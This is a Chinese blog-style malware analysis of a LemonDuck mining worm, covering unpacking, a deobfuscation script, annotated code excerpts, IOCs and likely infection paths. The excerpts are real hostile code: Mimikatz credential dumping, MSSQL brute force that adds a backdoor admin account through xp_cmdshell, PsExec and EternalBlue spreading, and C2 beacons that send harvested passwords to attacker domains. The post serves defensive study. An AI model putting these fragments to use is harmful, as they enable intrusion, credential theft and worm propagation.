LemonDuck挖矿病毒样本分析
该样本来自于帖子https://www.52pojie.cn/thread-2092034-1-1.html 。正好近期在做病毒分析,顺手分析并记录一下。
病毒附件
贴主给了个压缩包,一个ipc.txt,另一个exe是用pyinstaller打包的exe。
压缩包文件
exe -> pyc -> py
首先使用https://github.com/saucer-man/exe2py 中的工具将exe转为pyc目录,目录下可以看到如下文件,这里很容易发现ii.pyc就是主程序
exe2py结果
然后使用uncompyle6恢复为python文件即可,看到下面内容
反编译python代码结果
代码逻辑就是先base64解码下面那一段,然后bz2解压后执行。从导入的库可以判断可能利用了SMB,并且有网络通信能力,显然是一个恶意软件。(如果你对该python程序感兴趣,请在文末附件处下载,密码52pojie)
深入分析
首先将这段base64解码,得到一个压缩包,然后解压该压缩包可以得到另一个python脚本,该脚本进行了简单的命名混淆,不过恶意逻辑依然清晰可见
可以根据替换逻辑写一个脚本,还原该python程序
import re
import sys
import os
def deobfuscate_file(input_filepath, output_filepath):
"""
读取混淆的 Python 脚本,提取变量别名映射,并还原代码。
"""
if not os.path.exists(input_filepath):
print(f"[-] 错误: 找不到输入文件 {input_filepath}")
return
with open(input_filepath, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
# 1. 提取映射关系
# 正则表达式匹配这种格式: JNwMqWYxxx = yyy
# 针对你提供的样本,变量名都以 JNwMqWY 开头
assignment_pattern = re.compile(r'^(JNwMqWY[a-zA-Z0-9_]+)\s*=\s*(.+)$', re.MULTILINE)
mappings = {}
for match in assignment_pattern.finditer(content):
obfuscated_var = match.group(1).strip()
original_value = match.group(2).strip()
mappings[obfuscated_var] = original_value
print(f" 扫描完毕,共发现 {len(mappings)} 个混淆变量映射。")
# 2. 打印部分映射关系供人工确认
print(" 映射示例:")
for k, v in list(mappings.items())[:5]:
print(f" {k} -> {v}")
print(" ...")
# 3. 全局替换还原代码
deobfuscated_content = content
# 按变量名长度降序排序,防止部分替换(例如替换了 var1,导致 var11 被破坏)
for obf_var in sorted(mappings.keys(), key=len, reverse=True):
real_val = mappings[obf_var]
# 使用 \b 确保只替换完整的单词边界,不会误伤其他包含该字符串的变量
replace_regex = r'\b' + re.escape(obf_var) + r'\b'
deobfuscated_content = re.sub(replace_regex, real_val, deobfuscated_content)
# 4. 可选清理:将原始的赋值语句注释掉或删除,让代码更干净
# 这里我们选择将匹配到的赋值语句整行注释掉
deobfuscated_content = re.sub(r'^(JNwMqWY[a-zA-Z0-9_]+\s*=.*)$', r'# [已还原] \1', deobfuscated_content, flags=re.MULTILINE)
# 5. 保存结果
with open(output_filepath, 'w', encoding='utf-8') as f:
f.write(deobfuscated_content)
print(f"[+] 还原成功!清理后的代码已保存至: {output_filepath}")
if __name__ == "__main__":
# 通过命令行传入参数
if len(sys.argv) == 3:
input_file = sys.argv[1]
output_file = sys.argv[2]
else:
print("Usage: python deobfuse.py input_file output_file")
exit(0)
deobfuscate_file(input_file, output_file)
还原之后可以发现该脚本分为以下几个部分,下面是直接使用AI进行分析得到的
第一部分:初始化、自保与自我更新机制
这部分主要位于脚本的开头和异常处理块中,依赖 mmap 检查内存标志,并通过执行系统命令覆盖旧版本进程。
# 1. 单实例检查
myapp=singleinstance()
if myapp.aleradyrunning():
print "program is already running"
sys.exit()
# 2. 版本比对与自我更新 (截取部分)
def JNwMqWYAE(file): # MD5 计算函数
md5=hashlib.md5()
md5.update(open(file).read())
return md5.hexdigest()
# 检查 mmap 标签 'path'
with contextlib.closing(mmap.mmap(-1,1024,tagname='path',access=mmap.ACCESS_READ))as m:
s=m.read(1024).replace('\x00','')
# ... 如果发现新版本 (ver > v):
if int(ver)>int(v):
print "new version,kill&update"
# 杀掉旧进程并覆盖文件
keb=subprocess.Popen('cmd /c taskkill /f /im '+s.split("\\")[-1]+'&wmic process where name="'+s.split("\\")[-1]+'" call terminate...© /y '+os.path.realpath(sys.argv[0])+' '+s,stdout=subprocess.PIPE)
# 创建计划任务实现持久化
keb2=subprocess.Popen('cmd /c if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 15 /st 07:05:00 /tn update /tr "'+os.path.realpath(sys.argv[0])+'" /F) ...')
第二部分:目标侦察与 IP 生成 (Reconnaissance)
这部分对应 JNwMqWYAc (获取真实网段) 和 JNwMqWYAB (生成随机外网IP) 两个函数。
# 1. 获取本地及关联网段
def JNwMqWYAc():
global iplist2
# 提取本地网卡 IP
ipconfig_process=subprocess.Popen("ipconfig /all",stdout=subprocess.PIPE)
output=ipconfig_process.stdout.read()
result=re.findall(r"\b(?:(?:25[0-5]|...)\b",output)
# ... (转换为 /24 网段并加入 iplist)
# 提取网络连接中的 IP
netstat_process=subprocess.Popen("netstat -na",stdout=subprocess.PIPE)
# ...
# 获取外网真实 IP
try:
ipp1=urlopen('http://ip.42.pl/raw',timeout=3).read()
# ...
return iplist2
# 2. 随机生成公网 IP 用于盲扫
def JNwMqWYAB(numb):
del nip[:]
for n in xrange(numb):
ipp=socket.inet_ntoa(struct.pack('>I',random.randint(1,0xffffffff)))
ipp=ipp.split('.')[0]+'.'+ipp.split('.')[1]+'.'+ipp.split('.')[2]+'.1/24'
nip.append(ipp)
return nip
第三部分:凭据窃取与收割 (Credential Harvesting)
核心逻辑在 JNwMqWYOc 函数中,负责释放之前那段超长的 Mimikatz Base64 并执行抓密。
def JNwMqWYOc():
# ... 写入 m2.ps1 (包含 Mimikatz 加载器)
fm=open("\\".join(os.path.realpath(sys.argv[0]).split("\\")[:-1])+"\m2.ps1","w")
fm.write(mkatz)
fm.close()
# 调用 PowerShell 绕过执行策略运行 Mimikatz
usr=subprocess.Popen("powershell.exe -exec bypass \"import-module "+"\\".join(os.path.realpath(sys.argv[0]).split("\\")[:-1])+"\\m2.ps1\"",stdout=subprocess.PIPE)
musr=usr.stdout.read()
# 将结果写入 mkatz.ini 缓存
fmk=open("\\".join(os.path.realpath(sys.argv[0]).split("\\")[:-1])+"\\mkatz.ini","w")
# 解析抓取到的明文密码和 Hash,加入爆破字典
if "* LM" in musr:
mmlist=musr.split('* LM')
# ... 提取 Username 和 Password 加入 userlist2 和 passlist
if "* NTLM" in musr:
mmlist=musr.split('* NTLM')
# ... 提取 NTHash 加入 ntlist
第四部分:弱口令爆破与横向移动 (Lateral Movement)
这部分涵盖了 1433 (MSSQL) 和 445 (SMB) 的攻击函数。
# 1. 针对 MSSQL 的 1433 爆破 (JNwMqWYAF 函数)
def JNwMqWYAF(host):
if JNwMqWYAt(host,1433)==1: # 端口开放检测
for muser in msuser:
for password in passlist: # 遍历刚才抓到的密码和自带弱口令
try:
db=_mssql.connect(server=host,port=1433,user=muser,password=password)
# 开启 xp_cmdshell 并执行添加影子账户、改防火墙规则的恶意命令
db.execute_query("EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell', 1;RECONFIGURE;")
db.execute_query("xp_cmdshell 'net user k8h3d k8d3j9SjfS7 /ADD && net localgroup administrators k8h3d /ADD...'")
# ...
# 2. 针对 SMB 的 PsExec 横向移动 (JNwMqWYAh 等函数)
def JNwMqWYAh(ip,fr):
# 如果拿到了域管密码,直接 psexec 过去执行远端命令下载载荷
if len(domainsmb)!=0:
if PSEXEC(ee2,dl,'cmd.exe /c echo '+JNwMqWYAj()+' >> c:\\windows\\temp\\svchost.exe...',domainsmb[0].split("*")[0],...).run(ip):
print "SMBdomain admin Succ! "+ip
第五部分:MS17-010 (EternalBlue) 漏洞利用
代码中拥有极高特征的结构体和内存偏移定义,以及触发内核池溢出的逻辑。
# 1. 不同系统架构的偏移量定义 (用于精准覆盖内存)
WIN7_64_SESSION_INFO={'SESSION_SECCTX_OFFSET':0xa0,'SESSION_ISNULL_OFFSET':0xba,'FAKE_SECCTX':pack('<IIQQIIB',0x28022a,1,0,0,2,0,1),'SECCTX_SIZE':0x28,}
# ...
OS_ARCH_INFO={'WIN7':{'x86':JNwMqWYAG(X86_INFO,WIN7_32_TRANS_INFO,WIN7_32_SESSION_INFO), ...}}
# 2. 伪造 SRVNET 缓冲区结构 (内核溢出的核心载荷)
TARGET_HAL_HEAP_ADDR_x64=0xffffffffffd00010
fakeSrvNetBufferNsa=pack('<II',0x11000,0)*2
# ... (拼装用于劫持执行流的恶意 Buffer)
# 3. 触发漏洞 (JNwMqWYAs / JNwMqWYAP 函数)
def JNwMqWYAs(target,shellcode,numGroomConn):
# ... 建立大量空连接池 (Pool Grooming) 整理内存碎片
srvnetConn=[]
for i in range(numGroomConn):
sk=JNwMqWYAg(target)
srvnetConn.append(sk)
# 发送伪造的特征数据 (feaList) 造成越界覆盖,并附带 Shellcode (变量 sc)
JNwMqWYAb(conn,tid,feaList[progress:],progress)
for sk in srvnetConn:
sk.send(fake_recv_struct+shellcode)
第六部分:C2 通信与后门指令 (Command & Control)
病毒通过 HTTP GET 请求进行“上线”打点并接收指令,位于 JNwMqWYOV 守护线程函数中。
def JNwMqWYOV():
# 拼接本机信息作为请求参数 (机器名、MAC、系统架构、抓到的密码等)
try:
png=''
png=urllib2.urlopen('http://info.ackng.com/e.png?id='+str(pcname)+'&mac='+str(mac)+"&OS="+oss+"&BIT="+bit+"&IT="+mtime+'&mpass='+mpass+'&sa='+sa,timeout=3).read()
except:
pass
# 备用 C2 域名
try:
png2=urllib2.urlopen('http://info.beahh.com/e.png?...',timeout=3).read()
except:
pass
# 如果 C2 服务器返回了数据 (伪装成 png 内容),交由 CmdReader 解析执行
if len(png)>10:
try:
pngg.append(cmdreader.CmdReader().getCmd(png))
except:
pass
# ... 解析结果并在本地用 subprocess 下载/执行新载荷
归因
在脚本中发现相关域名均归因于LemonDuck
微步分析恶意域名
IOCs
- 恶意域名:
w.beahh.com, info.ackng.com, info.abbny.com
- 异常文件路径:
c:\windows\temp\svchost.exe, mkatz.ini, m2.ps1
- 异常计划任务名称:
\Microsoft\windows\Bluetool, Autocheck, escan
- 异常本地账户:
k8h3d
感染路径推测
公网
MSSQL 弱口令 (端口 1433 暴露)
- 推测过程: 数据库管理员为了方便,将 1433 端口映射到了公网,且系统管理员账号
sa 使用了弱口令(如代码字典里的 sa123、sql2008 等)。
- 植入动作: 攻击者在外网爆破成功后,利用
xp_cmdshell 执行系统命令,通过 PowerShell 的 Net.WebClient 直接从恶意 C2 域名(如 w.beahh.com)拉取病毒母体(通常伪装成 svchost.exe 或 update.exe)并运行。
未修复的 SMB 漏洞 (端口 445 暴露)
- 推测过程: 主机的 445 端口暴露在外网,且系统尚未安装 MS17-010(永恒之蓝)的安全补丁。
- 植入动作: 攻击节点发送特制的 SMB 数据包触发内核池溢出,直接在系统内存中执行 Shellcode,接管机器并下载上述恶意模块。
Web 应用漏洞 (虽然代码未体现,但常见于此类僵尸网络)
- 推测过程: 主机上运行着存在 RCE(远程代码执行)漏洞的 Web 服务(如 ThinkPHP、WebLogic、Tomcat 弱口令等)。攻击者利用 Web 漏洞拿到 WebShell 后,植入这段 Python 编译的蠕虫脚本,让服务器沦为新的扫描节点。
内网横向
在这段代码中,病毒会收集本机的 ARP 表、路由表和 ipconfig 信息,生成内网 IP 列表,并对整个 /24 网段发起无差别攻击。这台主机大概率死于以下三种内网横向攻击之一:
- 内网永恒之蓝攻击:局域网内没有防火墙隔离 445 端口,且本机的系统比较老旧(如 Win7、Win2008)未打补丁。
- SMB 密码爆破/哈希传递 (Pass-the-Hash):内网其他被感染的主机运行了代码中的 Mimikatz 模块,抓取到了某位域管理员或本地管理员的明文密码/NTLM Hash。由于内网机器常常密码复用,病毒直接拿着这些凭据,通过 PsExec 登录到了这台主机并植入了木马。
- 内网 MSSQL 沦陷:内网的数据库服务器由于
sa 弱口令被蠕虫的内置字典命中。